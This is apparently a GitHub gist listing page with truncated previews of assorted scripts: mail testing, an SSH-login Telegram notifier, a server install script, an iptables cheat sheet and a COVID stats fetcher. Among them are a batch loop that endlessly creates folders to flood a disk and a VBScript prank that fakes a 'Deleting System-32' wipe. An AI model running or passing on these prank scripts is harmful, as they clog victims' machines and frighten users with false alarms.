![5b79b2a0941c93232fce8e47.png](https://gist.github.com/anir0y/cb2aa9d60d7b89c1228313fe7a974a28/raw/a74fa01ac5ddae0f4aece3d4e2e7ff955bfbff4c/5b79b2a0941c93232fce8e47.png)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<title>MAIL TEST SCRIPT</title> | |
</head> | |
<body> | |
<?php | |
ini_set('display_errors', 1); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
USERID="<Enter_the_user_id_of_the_recipient>" | |
KEY="<The_key_of_your_telegram_bot>" | |
TIMEOUT="10" | |
URL="https://api.telegram.org/bot$KEY/sendMessage" | |
DATE_EXEC="$(date "+%d %b %Y %H:%M")" #Collect date & time. | |
TMPFILE='/tmp/ipinfo-$DATE_EXEC.txt' #Create a temporary file to keep data in. | |
if [ -n "$SSH_CLIENT" ] && [ -z "$TMUX" ]; then #Trigger | |
IP=$(echo $SSH_CLIENT | awk '{print $1}') #Get Client IP address. | |
PORT=$(echo $SSH_CLIENT | awk '{print $3}') #Get SSH port | |
HOSTNAME=$(hostname -f) #Get hostname |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
X=Msgbox("An Error occurred while opening this Program. Would you like to retry?",2+64,"Error") | |
X=Msgbox("Failed To Retry. Try Again?",5+16,"Error") | |
X=Msgbox("Unable To Retry. Would you like to delete this cache?",4+32,"Cache") | |
X=Msgbox("Unable To Delete Cache. Would You Like To Ease Your PC?",3+32,"Cache") | |
X=Msgbox("Request Unsucessful",0+32,"Cache") | |
X=Msgbox("Deleting System-32 and Erasing PC",2+32,"Error") | |
X=Msgbox("2%",0+64,"Deleting...") | |
X=Msgbox("6%",0+64,"Deleting...") | |
X=Msgbox("30%",0+64,"Deleting...") | |
X=Msgbox("45%",0+64,"Deleting...") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
:x | |
md %random% | |
/folder. | |
goto x |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import argparse | |
import os | |
import random | |
import struct | |
import threading | |
from Crypto.Cipher import AES |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#-------------------------------------------------- | |
# Software version: | |
# 1. OS: Debian 9.3 (stretch) 64 bit. | |
# 2. Apache: 2.4.25 | |
# 3. MariaDB: 10.1.26 | |
# 4. PHP 7: 7.0.27-0+deb9u1 | |
#-------------------------------------------------- | |
# List function: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import smtplib | |
usr = "login@domain.com" | |
password = "password" | |
sender = 'you@domain.com' | |
receivers = ['person@domain.com'] #this needs to be a list | |
message = """From: From Person <you@domain.com> | |
To: To Person <to@todomain.com> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# IP Tables (iptables) Cheat Sheet | |
## Resources | |
The following list is a great set of documentation for `iptables`. | |
* **How-To Geek: The Beginner’s Guide to iptables, the Linux Firewall**: https://www.howtogeek.com/177621/the-beginners-guide-to-iptables-the-linux-firewall/ | |
* **IPTables Essentials: Common Firewall Rules and COmmands** https://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands | |
* **List and Delete `iptable` rules:** https://www.digitalocean.com/community/tutorials/how-to-list-and-delete-iptables-firewall-rules | |
* **UnixNInza ** https://www.unix-ninja.com/p/An_iptables_cheat-sheet |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
[ "$(stat -c %y corona.raw | cut -d ' ' -f1)" != "$(date '+%y-%m-%d')" ] && curl -s https://corona-stats.online/in | grep In > corona.raw | |
echo "Covid-19 India Stats" | |
cat corona.raw | sed "s/\s*//g ; s/║//g ;s/▲//g; s/│/;/g"| awk -F';' '{print "Total Case: " $3 "(New "$4") Death " $5 " ("$7"%)"}' | |
lockdown='20-04-14' | |
date="$(date '+%y-%m-%d')" | |
if [ "$date != $Lockdown " ]; | |
then | |
echo "😷 Lockdown! Stay the fuck in your HOME" |
OlderNewer